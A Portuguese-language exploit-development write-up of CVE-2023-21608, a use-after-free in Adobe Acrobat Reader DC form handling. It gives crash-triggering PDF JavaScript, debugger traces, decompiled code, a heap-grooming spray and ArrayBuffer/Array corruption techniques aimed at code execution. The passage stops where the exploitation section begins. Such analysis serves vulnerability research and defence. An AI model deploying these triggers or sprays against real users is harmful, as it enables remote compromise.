Neste artigo do PDF Reader, veremos como a vulnerabilidade use-after-free no Adobe Acrobat Reader DC foi explorada. O bug foi descoberto durante o fuzzing de um popular leitor de PDF. Conseguimos explorar com sucesso essa vulnerabilidade para execução remota de código no contexto do Adobe Acrobat Reader. Banco de testes
CVE-2023-21608 Versão do SO: Windows 10 Pro 20H2 19042.804 Produto: Adobe Acrobat Reader DC 2022.003.20258 URL produto : https://get.adobe.com/reader/otherversions/POC
O caso de teste contém um campo de texto estático denominado testField incorporado no documento PDF.
5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (testField)
/FT /Tx
/Rect [0 0 0 0]
>>
Abaixo está o código JS que está causando o erro:
var testField = this.getField("testField");
testField.richText = true;
testField.setAction("Calculate", "calculateCallback()");
try { this.resetForm(); } catch (e) {}
try { this.resetForm(); } catch (e) {} // bug is triggered during this resetForm call
function calculateCallback()
{
event.__defineGetter__("target", getterFunc);
event.richValue = this;
}
function getterFunc()
{
try { Object.defineProperty(testField, "textFont", { value: this }); } catch(e) { }
}
Como tudo aconteceu:
Habilite o recurso de heap de página do AcroRd32.exe e abra o arquivo crash.pdf no Acrobat Adobe Reader DC.
eax=04f6a0f0 ebx=00000000 ecx=420fefd0 edx=44e1cff8 esi=6921ef50 edi=420fefd0
eip=6c556b99 esp=04f6a0d0 ebp=04f6a0fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6c556b99 8b07 mov eax,dword ptr [edi] ds:002b:420fefd0=????????
Observação. Todas as análises e usos descritos neste post são feitos no Adobe Acrobat Reader DC versão 2022.001.20085 x86 .
rastreamento de pilha
0:000> kb
# ChildEBP RetAddr Args to Child
00 04f6a0fc 6c552a50 00001742 408bcff0 00000000 AcroForm!CAgg::operator[](unsigned short)+0xe
01 04f6a118 6bdfd922 43a38fb8 527e4ff0 408bcff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x30
02 04f6a16c 6bdfd803 43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnum+0xc3
03 04f6a184 692fe993 43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnumWrapper+0x13
WARNING: Stack unwind information not available. Following frames may be wrong.
04 04f6a19c 6c55298c 43a38fb8 6c552a20 04f6a1c8 AcroRd32!DllCanUnloadNow+0xa6553
05 04f6a1e4 6c552c3f 420fefd0 43a38fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
06 04f6a20c 6c552a56 420fefd0 46ed4ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
07 04f6a228 6bdfd922 503d4fb8 45970ff0 46ed4ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
08 04f6a27c 6bdfd803 503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnum+0xc3
09 04f6a294 692fe993 503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnumWrapper+0x13
0a 04f6a2ac 6c55298c 503d4fb8 6c552a20 04f6a2d8 AcroRd32!DllCanUnloadNow+0xa6553
0b 04f6a2f4 6c552c3f 505fafd0 503d4fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
0c 04f6a31c 6c552a56 505fafd0 3d259ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
0d 04f6a338 6bdfd922 4e5dcfb8 4948eff0 3d259ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
0e 04f6a38c 6bdfd803 4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnum+0xc3
0f 04f6a3a4 692fe993 4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnumWrapper+0x13
10 04f6a3bc 6c55298c 4e5dcfb8 6c552a20 04f6a3e8 AcroRd32!DllCanUnloadNow+0xa6553
11 04f6a404 6c552c3f 04f6afa8 4e5dcfb8 00000000 AcroForm!ESValToCAgg_internal+0x447
12 04f6a42c 6c552aea 04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
13 04f6a46c 6c513b35 04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAggWrapper+0x1e
14 04f6a4c8 6bddf79b 48cf2fb8 45230ff0 47cf6ff0 AcroForm!SetRichValueEventProp+0x1f5
15 04f6a534 6bddf5bc 3cdaef58 04f6a68c 04f6a568 EScript!sub_1003F620+0x17b
16 04f6a56c 6bdba592 3cdaef58 04f6a68c 04f6a68c EScript!sub_1003F4E7+0xd5
17 04f6a5a4 6bdba2fe 3cdaef58 04f6a68c 04f6a68c EScript!sub_1001A4D2+0xc0
18 04f6a64c 6bdd8a6b 3cdaef58 04f6a68c 04f6a68c EScript!sub_10019E93+0x46b
19 04f6a690 6bdd4cd7 3cdaef58 04f6aac0 4fdc2fcf EScript!sub_100389D2+0x99
1a 04f6ab00 6bdd246b 3cd5da60 6bdd24c0 00000438 EScript!js_Interpret+0x2828
1b 04f6ab4c 6bdd237b 3cdaef58 04f6ab60 3cdaef58 EScript!sub_10032412+0x59
1c 04f6ab88 6bdd22b0 3cdaef58 04f6abfc 3d1a4100 EScript!sub_10032315+0x66
1d 04f6abbc 6bdbb6b0 3cdaef58 04f6abfc 3d1a4100 EScript!js_Execute+0x7d
1e 04f6ac0c 6bdfa9c6 3cdaef58 04f6ac8c 00000000 EScript!JS_EvaluateUCScriptForPrincipals+0x8b
1f 04f6ac90 6bdfa6cb 3cdaef58 3d1a4100 4c93efd8 EScript!JS_EvaluateUCScript+0x4d
20 04f6ae44 6bdfa046 3d4f9ff0 49488fe0 49f3cff0 EScript!ESExecScript+0x10b
21 04f6ae90 6bdf8e23 3cdacfc0 390b4fb8 49d20fc0 EScript!AESEvaluateScript+0x3d
22 04f6af30 692fcbdf 1f2c0bd0 390b4fb8 49cf4fc0 EScript!ESExecuteScriptWithEvent+0x4a3
23 04f6af58 6c543fd4 1f2c0bd0 00000000 49cf4fc0 AcroRd32!DllCanUnloadNow+0xa479f
24 04f6b03c 6c543270 1f2c0bd0 5135cfa0 00000000 AcroForm!AFCalculateNthFieldEntry_x+0x4b8
25 04f6b074 6c545f65 1f2c0bd0 00000000 00001467 AcroForm!AFPDCalculateFields__internal+0xfd
26 04f6b0b0 6c5c4c37 1f2c0bd0 00000000 1f2c0bd0 AcroForm!AFPDCalculateFields+0x9f
27 04f6b1b0 6c50fa1c 1f2c0bd0 00000000 00000000 AcroForm!ResetForm(_t_PDDoc *, OPAQUE_64_BITS, unsigned short)+0x477
28 04f6b65c 6bdf3fb7 390b4fb8 45fe4ff0 5225afb8 AcroForm!resetFormHandler+0x5fc
Uma verificação rápida com o comando !heap revela uma vulnerabilidade use-after-free.
0:000> !ext.heap -p -a @edi
address 420fefd0 found in
_DPH_HEAP_ROOT @ 7831000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
372134ac: 420fe000 2000
6e44ab02 verifier!AVrfDebugPageHeapFree+0x000000c2
770af766 ntdll!RtlDebugFreeHeap+0x0000003e
770668ae ntdll!RtlpFreeHeap+0x0004e0ce
770562ed ntdll!RtlpFreeHeapInternal+0x00000783
77018786 ntdll!RtlFreeHeap+0x00000046
755d3c9b ucrtbase!_free_base+0x0000001b
755d3c68 ucrtbase!free+0x00000018
6c2e7a56 AcroForm!operator delete(void *)+0x0000000b
6c555f05 AcroForm!sub_20AD5ECD+0x00000038
6c555e5f AcroForm!sub_20AD5E3B+0x00000024
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e1b AcroForm!sub_20AD5DE9+0x00000032
6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
6c5576c0 AcroForm!CAgg::convert(CAgg::CAggType)+0x00000045
6c556d10 AcroForm!sub_20AD6CDD+0x00000033
6c555efd AcroForm!sub_20AD5ECD+0x00000030
6c555e5f AcroForm!sub_20AD5E3B+0x00000024
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e1b AcroForm!sub_20AD5DE9+0x00000032
6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
6c55766d AcroForm!sub_20AD75F2+0x0000007b
6c551b9e AcroForm!CAggConvertToESValType(CAgg &)+0x0000001f
6c551be0 AcroForm!CAggToESVal(_s_ESValRec *, CAgg &)+0x0000003d
6c5131ce AcroForm!GetRichValueEventProp+0x0000011e
6bdde176 EScript!sub_1003DF10+0x00000266
6bde306d EScript!sub_10042FE8+0x00000085
6bdb50fd EScript!sub_10014B57+0x000005a6
6bdb4b4a EScript!sub_10014B17+0x00000033
6bdddcd2 EScript!sub_1003DC6A+0x00000068
Neste ponto, depois de fazer uma análise inicial, decidimos mergulhar fundo na causa raiz desse erro e ver se podemos usá-lo para obter o RCE na caixa de proteção do Adobe Reader.
Algumas coisas a serem observadas sobre este PoC:
Ocorre um erro durante a segunda chamada para resetForm
resetForm gera eventos de cálculo para todos os campos se um manipulador Calculate for definido.
No manipulador Calculate, a propriedade target do objeto de evento é substituída por uma função getterFunc customizada.
Nessa função getterFunc, a propriedade textFont do campo é substituída pelo valor do objeto doc.
Isso causa um travamento quando event.richValue = esta atribuição é feita no manipulador Calculate.
A falha pode ser rastreada na pilha de chamadas até a hierarquia de chamada responsável.
AcroForm!ResetForm | this.resetForm()
AcroForm!AFPDCalculateFields
AcroForm!AFCalculateNthFieldEntry
AcroForm!AFCalculateNthFieldEntry
AcroForm!AFCalculateNthFieldEntry
|- user defined callback is triggered. | field Calculate handler invoked
AcroForm!SetRichValueEventProp | event.richValue = this
.. some form of aggregation starts on richValue ..
AcroForm!EScript_ESObjectEnum_CallbackProc
AcroForm!CAgg::operator[](unsigned short)
O erro ocorre quando alguma forma de agregação de valor começa dentro de SetRichValueEventProp que enumera o atribuído a este objeto, que é uma instância do objeto atual. Propriedades e métodos são enumerados recursivamente usando EScript!ESObjectEnum, que aceita um retorno de chamada onde as informações de propriedade enumeradas são passadas do EScript para o AcroForm. O retorno de chamada AcroForm!EScript_ESObjectEnum_CallbackProc é disparado para cada propriedade enumerada. Quando o heap de página está habilitado, ele trava em _DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3) ao desreferenciar um ponteiro que é um objeto std: : mapa no contexto atual.
DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3)
{
TREE_NODE *Myhead; // eax
TREE_NODE *Parent; // ecx
unsigned __int16 v5; // si
int v6; // eax
Myhead = this->_Myhead; // crash location - page-heaps enabled
Parent = this->_Myhead->_Parent;
...
}
Depois de verificar a função de chamada, descobriu-se que a função int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID) é responsável por inserir o valor no std::map correspondente.
int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID)
{
...
std::map<unsigned short,CAgg>::lower_bound(this, v8, pSomeID); // Crashing path when page-heap is enabled
v4 = v9;
if ( sub_208E95F2(v9, pSomeID) )
{
...
}
else
{
if ( this->_Mysize == 0x38E38E3 )
Throw_tree_length_error();
...
*(_DWORD *)a2 = std::map<unsigned short,CAgg>::insert(this, v8[0], (int)v8[1], Parent);
...
}
return resu
O código acima mostra que quando um valor é inserido em um std::map , um novo valor CAgg é criado. Testes com limpeza de heap e .dvalloc mostraram que a função std::map<unsigned short,CAgg>::insert também permite gravação arbitrária no endereço escolhido. Usando limpeza de heap, é possível obter controle sobre o ponteiro std::map corrompido usado neste contexto, permitindo exploração adicional.
TREE_NODE *__thiscall std::map<unsigned short,CAgg>::insert(TREE_VAL *this, TREE_NODE *a2, int a3, TREE_NODE *a4)
{
++this->_Mysize; // write possible here (single increment though)
// map length increase
Myhead = this->_Myhead;
v5 = a4;
a4->_Parent = a2;
if ( a2 != Myhead )
{
if ( a3 )
{
a2->_Left = a4; // write is possible here and we can use this to corrupt length property of a ArrayBuffer
// mov dword ptr [eax], esi ds:002b:13fa0000=45454545
if ( a2 == Myhead->_Left )
Myhead->_Left = a4;
}
}
...
}
Usando escrita arbitrária, é possível quebrar o comprimento do ArrayBuffer e obter leitura/gravação fora dos limites. Isso permite que os dados apropriados sejam lidos ou gravados em locais de memória fora do ArrayBuffer. Um exame mais aprofundado revelou que a função AcroForm!CAgg::operator[](unsigned short) estava chamando std::map<unsigned short,CAgg>::operator[] com this->map. Ao examinar o objeto CAgg no depurador, constatou-se que o mesmo havia sido liberado e agora era controlado pelo usuário. Isso abre a possibilidade de exploração adicional da vulnerabilidade.
// Crash function 2
int __userpurge CAgg::operator[]@<eax>(CAgg *this@<ecx>, bool (*a2)[27]@<ebx>, wchar_t *someID)
{
...
if ( this->type == 0x13 ) // *this == (CAgg::getType) | crashes here with page-heaps
// this is the freed pointer
{
...
}
else
{
...
else
{
// this path is taken when page-heap is disabled and heap grooming is performed prior to bug trigger
CAgg::convert(this, a2, 0x14);
v4 = (_DWORD *)std::map<unsigned short,CAgg>::operator[](this->map, (int)v9, (unsigned __int16 *)&someID);
}
return *v4 + 24;
}
}
Embora não houvesse primitivos óbvios no CAgg, era possível ler seu tipo usando this->type. A função CAgg::operator[] foi chamada de EScript_ESObjectEnum_CallbackProc, que é executada para cada propriedade enumerada por EScript!ESEnumObject. Isso deu algumas dicas sobre como o objeto foi corrompido e poderia ser usado.
int __usercall EScript_ESObjectEnum_CallbackProc@<eax>(
bool (*ebx0)[27]@<ebx>,
int a2,
wchar_t *key_str,
wchar_t *a4,
int ***pCAggData)
{
CAgg **pCagg; // edi
unsigned __int16 someID; // ax
CAgg *v7; // eax
pCagg = (CAgg **)*pCAggData; // AtomFromString retrieves some integer id from string
//
// bp AcroForm!sub_20AD2A20+0x22 "da poi(esp); gc"
//
someID = (*(int (__cdecl **)(wchar_t *))(gCoreHFT + 20))(key_str); // gCoreHFT->ASAtomFromString(a2);
v7 = (CAgg *)CAgg::operator[]((CAgg *)pCagg, ebx0, (wchar_t *)someID);
ESValToCAgg(v7, a4, 0);
return 1;
}
Neste cenário, temos um problema com o objeto pCagg. Este objeto já foi liberado, mas ainda é usado na função callback EScript_ESObjectEnum_CallbackProc, onde é passado para a função ESValToCAgg.
Nota: Esta função é recursiva, então o problema é repetido várias vezes.
Nossa análise mostra que os objetos CAgg são alocados dentro da função std::map<unsigned short,CAgg>::operator[] durante cada enumeração de propriedade quando a propriedade richValue é definida. No entanto, durante o processo resetForm, a propriedade event.target é capturada usando __defineGetter__ . Esta função é chamada durante a enumeração recursiva das propriedades do objeto doc. Quando a propriedade target é acessada, a função getterFunc é chamada, que substitui a propriedade textFont do campo como um objeto doc. Isso também o define como não configurável e não enumerável.
Na segunda reinicialização do formulário, o mesmo processo é repetido, mas quando getterFunc é chamado novamente, uma exceção é lançada porque a propriedade field.textFont agora não é configurável. Isso chama um caminho diferente ao acessar a propriedade event.richValue, que libera todos os objetos CAgg que foram construídos até agora. O caminho de liberação de código é chamado enquanto a enumeração ainda está em andamento e, quando a enumeração é concluída, o uso do objeto CAgg liberado é iniciado.
{
...
v7 = 0;
v8 = 15;
LOBYTE(v6[0]) = 0;
sub_2085ECA0(v6, "EventRichValueInProgress");
sub_20AAE7D6(v15, a1, (int)v6[0], (int)v6[1], (int)v6[2], (int)v6[3], v7, v8);
LOBYTE(v16) = 3;
if ( v13
&& (*(unsigned __int16 (__thiscall **)(_DWORD, wchar_t *, const wchar_t *))(dword_21473CB8 + 180))(
*(_DWORD *)(dword_21473CB8 + 180),
v13,
"richValue") )
{
PointerType = (CAgg *)ASCabGetPointerTypeSafe<CAgg *>(v13, (wchar_t *)"richValue", (wchar_t *)"CAgg_P");
if ( PointerType )
CAggToESVal(0, v11, PointerType); // frees all CAggs and maps
}
...
}
A hipótese acima pode ser testada com um depurador definindo os seguintes pontos de interrupção no WinDbg
bp AcroForm!resetFormHandler
bp AcroForm!EScript_ESObjectEnum_CallbackProc ".printf \"-- [^] property: %ma - \\n \", poi(esp+8); gc;"
bp AcroForm!uninit_sub_20AA701F+0x25 ".printf \" - alloc: %p \\n \", @eax; .echo; gc"
bp AcroForm!GetRichValueEventProp+0x119 ".printf \" ------------free code path \\n \"; gc"
bp AcroForm!sub_20AD5DE9 ".printf \"[map] root: %p size %p \\n \", poi(@ecx), poi(@ecx+4); gc;"
bp AcroForm!sub_20AD5DE9+0x36 ".printf \" [+] PTR_1 freed: %p \\n \", poi(@esi); gc"
bp AcroForm!sub_20AD6CDD+0x3c ".printf \" [+] PTR_2 freed: %p \\n \", @esi; gc"
bp AcroForm!sub_20AD5ECD+0x33 ".printf \" [+] block freed: %p \\n \", @esi; gc"
bp AcroForm!ESValToCAgg_internal+0x403 ".printf \" [+] pData: %p \\n \", @ecx; gc"
Abaixo está o resultado da saída de rastreamento dos pontos de interrupção especificados.
[+] pData: 00afb1e8
-- [^] property: ADBCAnnotEnumerator -
- alloc: 64b3cfb8
... all other properties ....
-- [^] property: textFont -
- alloc: d41d0fb8 <- CAgg* allocated here
[+] pData: d41d0fd0 <- std::map inside CAgg
-- [^] property: change -
- alloc: 6951bfb8
... all other properties ....
-- [^] property: rc -
- alloc: c7b8efb8
------------free code path
...
[map] root: d2d14fb8 size 0000018f
[map] root: ee802fb8 size 00000041
[+] block freed: ce58efb8
[+] block freed: e0dd6fb8
...
[map] root: e4826fb8 size 00000008
...
[+] PTR_1 freed: e4826fb8
[+] block freed: d41d0fb8 <- CAgg* freed here
[+] block freed: c211afb8
...
[map] root: d2bdcfb8 size 00000000
[+] PTR_1 freed: d2bdcfb8
[+] block freed: 6c43efb8
[+] block freed: d3612fb8
...
-- [^] property: richValue -
(1ba0.f80): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 382C19E:0
eax=00afa330 ebx=00000000 ecx=d41d0fd0 edx=7af18ff8 esi=6fa3ef50 edi=d41d0fd0
eip=6e6b6b99 esp=00afa310 ebp=00afa33c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6e6b6b99 8b07 mov eax,dword ptr [edi] ds:002b:d41d0fd0=abcdbbba
0:000> dc d41d0fb8
d41d0fb8 00000000 00000000 00000000 00000000 ................
d41d0fc8 00000000 00000000 abcdbbba 07971000 ................
d41d0fd8 00000010 00001000 00000000 00000000 ................
d41d0fe8 09009a6c dcbabbba 00000000 ffffff82 l...............
d41d0ff8 3b5fafc0 c0c0c001 c0c0c0c0 c0c0c0c0 .._;............
d41d1008 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
d41d1018 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
d41d1028 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
Dentro do depurador, vemos o objeto std::map pData: d41d0fd0 corrompido, que faz parte do objeto CAgg liberado alocado quando a propriedade alloc: d41d0fb8 textFont foi enumerada. Quando ocorre a execução do código, todos os objetos e objetos de mapa são liberados. Posteriormente, o mesmo ponteiro é acessado ao processar a enumeração da propriedade richValue, resultando em um estado use-after-free. Observação: durante o teste para controlar a condição de uso após liberação, não encontramos nenhum caminho de código que nos permitisse realocar a memória liberada de uma forma que pudesse ser usada. No entanto, descobrimos que certos tamanhos de objeto podem fazer com que o Adobe Acrobat Reader falhe ao desreferenciar um modelo pulverizado, permitindo-nos explorar o bug de Execução Remota de Código (RCE).
Preparação de pilhas
var blockRefs = [];
function groomLFH(size, count) {
log("[+] Grooming LFH blocks of size: " + size + " count: " + count);
const code =
"%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u4141%u4242%u5353%u5454%u5555%u5656%u5757%u5858%u5959%u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272%u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u8383%u8484";
const string = unescape(code);
for (var i = 0; i < count; i++) {
blockRefs.push(string.substr(0, (size - 2) / 2).toUpperCase());
}
for (var i = 0; i < blockRefs.length; i += 2) {
blockRefs[i] = null;
delete blockRefs[i];
}
}
groomLFH(68, 4000);
Ao alocar um heap com um objeto de tamanho 68, conseguimos controlar a falha. O tamanho do objeto em colapso foi originalmente encontrado pela força bruta.
Nota: A alocação de heap foi feita antes do disparo do UaF. Nós retornaremos a isso mais tarde.
eax=04b7a854 ebx=04b7a8b4 ecx=42424141 edx=4e4e4d4d esi=6921ef50 edi=42424141
eip=6c3695af esp=04b7a838 ebp=04b7a838 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
AcroForm!CAgg::operator[](unsigned short)+0x3:
6c3695af 8b01 mov eax,dword ptr [ecx] ds:002b:42424141=????????
Na função de falha, vemos que um valor controlado pelo usuário está sendo desreferenciado.
Conforme mostrado abaixo, a fonte de distribuição pode ser verificada no WinDbg.
0:015> !ext.heap -p -a 36f76fb8
address 36f76fb8 found in
_DPH_HEAP_ROOT @ 9801000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
36f51924: 36f76fb8 48 - 36f76000 2000
6fb1a8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
76fbef0e ntdll!RtlDebugAllocateHeap+0x00000039
76f26150 ntdll!RtlpAllocateHeap+0x000000f0
76f257fe ntdll!RtlpAllocateHeapInternal+0x000003ee
76f253fe ntdll!RtlAllocateHeap+0x0000003e
75d00166 ucrtbase!_malloc_base+0x00000026
6aaaee40 AcroForm!operator new(unsigned int)+0x0000001a
6acf7044 AcroForm!sub_20AA701F+0x00000025
6ad25a56 AcroForm!sub_20AD5A43+0x00000013
6ad25fba AcroForm!std::map<unsigned short,CAgg>::operator[](unsigned short const&)+0x00000057
6ad26bc5 AcroForm!CAgg::operator[](unsigned short)+0x0000003a
6ad22a50 AcroForm!EScript_ESObjectEnum_CallbackProc+0x00000030
...
6ace3b35 AcroForm!SetRichValueEventProp+0x000001f5
...
Analisando melhor o que estava causando a falha controlada, como limpar o heap antes do erro, notamos que a matriz de objetos de string espalhados também é usada durante a agregação quando resetForm é executado.
Dentro de CAggToESVal, quando o tipo de objeto é uma string, o código abaixo é acionado, o que cria uma nova string a partir de CAgg.
int __usercall CAggToESVal@<eax>(bool (*a1)[27]@<ebx>, wchar_t *a2, CAgg *a3)
{
...
else
{
m_str = (_EStrRec **)CAgg::toEStr(a3, a1);
if ( *m_str )
v14 = EStrCopyImpl(*m_str);
else
v14 = 0;
if ( EStrGetEncoding((MayBeString *)v14) )
EStrSetEncoding(v14, 2);
v15 = dword_21472158;
Bytes = EStrGetBytes((MayBeString *)v14);
result = (*((int (__cdecl **)(wchar_t *, int))v15 + 31))(a2, Bytes); // ESValSetString
if ( v14 )
return EStrDelete(v14);
}
}
Um detalhe importante a ser observado é a chamada para EScript!ESValSetString para criar um novo conteúdo de string a partir do objeto string CAgg (que são nossos objetos string pulverizados). ESValSetString chama sub_1003EBD2 para criar uma string com o conteúdo fornecido, que é responsável por alocar um buffer de heap de comprimento de string e copiar o conteúdo da string original para ele.
char **__usercall sub_1003EBD2@<eax>(__int128 a1@<xmm0>, int a2, wchar_t *a3)
{
...
sub_1003E853((int *)a2);
if ( a3
&& strlen_0(a3, 0x7FFFFFFFu, 0) > 1
&& (*(_BYTE *)a3 == 0xFE && *((_BYTE *)a3 + 1) == 0xFF || *(_BYTE *)a3 == 0xFF && *((_BYTE *)a3 + 1) == 0xFE) )
{
v24 = 0;
v22 = 0x7FFFFFFF;
_mm_lfence();
v3 = miStrlen(a3, v22, v24);
v4 = JS_malloc_Wrapper(*(_DWORD *)a2, v3); // reallocate freed buffer again when string length is 0x48
Block = (char *)v4;
if ( v4 )
{
v25 = v3;
v23 = (char *)v4;
v21 = (char *)(a3 + 1);
_mm_lfence();
swab(v21, v23, v25);
return JS_NewUCString(a1, *(_DWORD **)a2, Block, v3 / 2 - 1);
}
return 0;
}
...
}
No código acima, JS_malloc_Wrapper realoca o buffer CAgg liberado ao processar um grande número de linhas, permitindo realocar o buffer com dados controlados pelo usuário. Quando esse buffer espalhado é usado posteriormente nas funções CAgg::*, ele faz com que um desreferenciamento de dados controlado pelo usuário falhe.
Internos SpiderMonkey em EScript.API
O Spidermonkey do Firefox é um mecanismo JavaScript usado no Adobe Reader por meio do plug-in EScript.API para processar JavaScript incorporado em PDFs. Para explorar esse bug efetivamente, precisamos entender como os objetos JavaScript são implementados no Spidermonkey e como sua memória é organizada. Spidermonkey usa uma representação de 64 bits para armazenar o jsval nativo do JavaScript na memória. Os duplos são armazenados no valor IEEE-754 de 64 bits completo. Outros jsval como números, strings, objetos etc. use uma representação de 32 bits para marcar o tipo e uma representação de 32 bits para armazenar o valor real (ou um ponteiro para um objeto).
ArrayBuffer
Usaremos ArrayBuffer para pulverizar dados controlados pelo usuário em endereços previsíveis e alterar o comprimento com um valor inteiro arbitrariamente grande para produzir primitivas de leitura/gravação ultrajantes. Vamos ver como isso é representado na memória. A implementação ArrayBuffer tem um cabeçalho de 0x10 bytes + conteúdo igual ao tamanho especificado.
4ef0cbf0 00000000 00000400 3cc31450 00000000 ........P..<.... +0x4: length, +0x8: TypedArray pointer
4ef0cc00 41424344 45464748 00000000 00000000 DCBAHGFE........ actual contents starts here
4ef0cc10 00000000 00000000 00000000 00000000 ................
4ef0cc20 00000000 00000000 00000000 00000000 ................
4ef0cc30 00000000 00000000 00000000 00000000 ................
4ef0cc40 00000000 00000000 00000000 00000000 ................
4ef0cc50 00000000 00000000 00000000 00000000 ................
4ef0cc60 00000000 00000000 00000000 00000000 ................
O comprimento é armazenado no deslocamento 0x4. Se TypedArray for inicializado, no deslocamento 0x8 haverá um ponteiro para TypedArray. Finalmente, você tem os dados reais orientados pelo usuário. Em EScript.api, a função sub_10131A2C é responsável por alocar um ArrayBuffer do comprimento especificado. Se o tamanho do ArrayBuffer for menor que 0x68, a representação interna será usada para armazenar os dados. Caso contrário, um bloco de memória do tamanho especificado é criado e preenchido com zeros.
char __thiscall sub_10131A2C(void **this, int a2, size_t Size, void *Src)
{
_DWORD *v5; // eax
void *v7; // eax
unsigned __int8 v10; // [esp-4h] [ebp-10h]
if ( Size <= 0x68 ) // if size is less may be inline buffer creation | does not use heap
// heap -p -a @buffer failed to show any trace
{
this[3] = this + 10; // address to our ArrayBuffer->buffer | this+0x28
_mm_lfence();
if ( Src )
memcpy(this[3], Src, Size);
else
memset(this[3], 0, Size);
v7 = this[3];
}
else
{
v10 = 0;
_mm_lfence();
v5 = sub_1013153C((wchar_t *)a2, Size, Src, (_DWORD *)v10);
if ( !v5 )
return 0;
v7 = v5 + 4;
this[3] = v7;
}
*((_DWORD *)v7 - 4) = 0;
*((_DWORD *)v7 - 3) = Size; // length of the ArrayBuffer
*((_DWORD *)v7 - 1) = 0; // typed array pointer initialized to nullptr
*((_DWORD *)v7 - 2) = 0;
return 1;
Matrizes
Usaremos Array para obter a primitiva addrOf (endereço de). A seguir está a representação na memória de uma matriz JavaScript.
0d9a2678 00000000 00000004 00000006 00000004 ................ 0x0: flag, 0x4: initLength, 0x8: capacity, 0xc: length
0d9a2688 41424142 ffffff81 55555555 ffffff81 BABA....UUUU.... (value, tag) for each value
0d9a2698 0d735fe0 ffffff85 0d9bf200 ffffff87 ._s.............
0d9a26a8 00000000 00000000 00000000 00000000 ................
0d9a26b8 00000000 00000000 00000000 00000000 ................
0d9a26c8 00000000 00000000 00000000 00000000 ................
0d9a26d8 00000000 00000000 00000000 00000000 ................
0d9a26e8 00000000 00000000 00000000 00000000 ................
sub_1004DBA9 em EScript.api é responsável por criar arrays e pode ser rastreado quando os arrays são pulverizados.
O conteúdo de um array é organizado na memória como uma tupla (tag, valor), onde tag é utilizada para identificar o tipo associado ao valor.
Por exemplo.
Number - ffffff81
String - ffffff85
Object - ffffff87
Quando temos acesso exorbitante a um ArrayBuffer, podemos pulverizar um grande array JavaScript logo após o ArrayBuffer e usar um primitivo para ler o endereço de qualquer objeto JavaScript arbitrário.
Podemos ver como nossa string é representada na memória descarregando a memória do ponteiro acima.
0:016> dc 0d735fe0
0d735fe0 000000a8 0d735fe8 0061006a 00610076 ....._s.j.a.v.a. 0x0: length, 0x4: ptr to content, 0x8: inlined contents
0d735ff0 00630073 00690072 00740070 00000000 s.c.r.i.p.t.....
0d736000 0bf80fb0 0d734000 0fff1000 00000013 .....@s.........
0d736010 00000228 0c1451f8 00000000 00000000 (....Q..........
0d736020 000000d8 0c0b8638 00000000 00000000 ....8...........
0d736030 000000d8 0c0b8660 00000000 00000000 ....`...........
0d736040 000001e8 0c149bb0 00000000 00000000 ................
0d736050 000000f8 0c0b8890 00000000 00000000 ................
Em seguida, na produção, criaremos strings falsas com um ArrayBuffer e usaremos uma das strings falsas pulverizadas para ler o conteúdo da memória arbitrária, obtendo uma primitiva de leitura aleatória temporária.
Exploração
Usamos .dvalloc para verificar se tínhamos alguma falha controlada de leitura/gravação ou falha ao chamar um ponteiro de função virtual arbitrária.
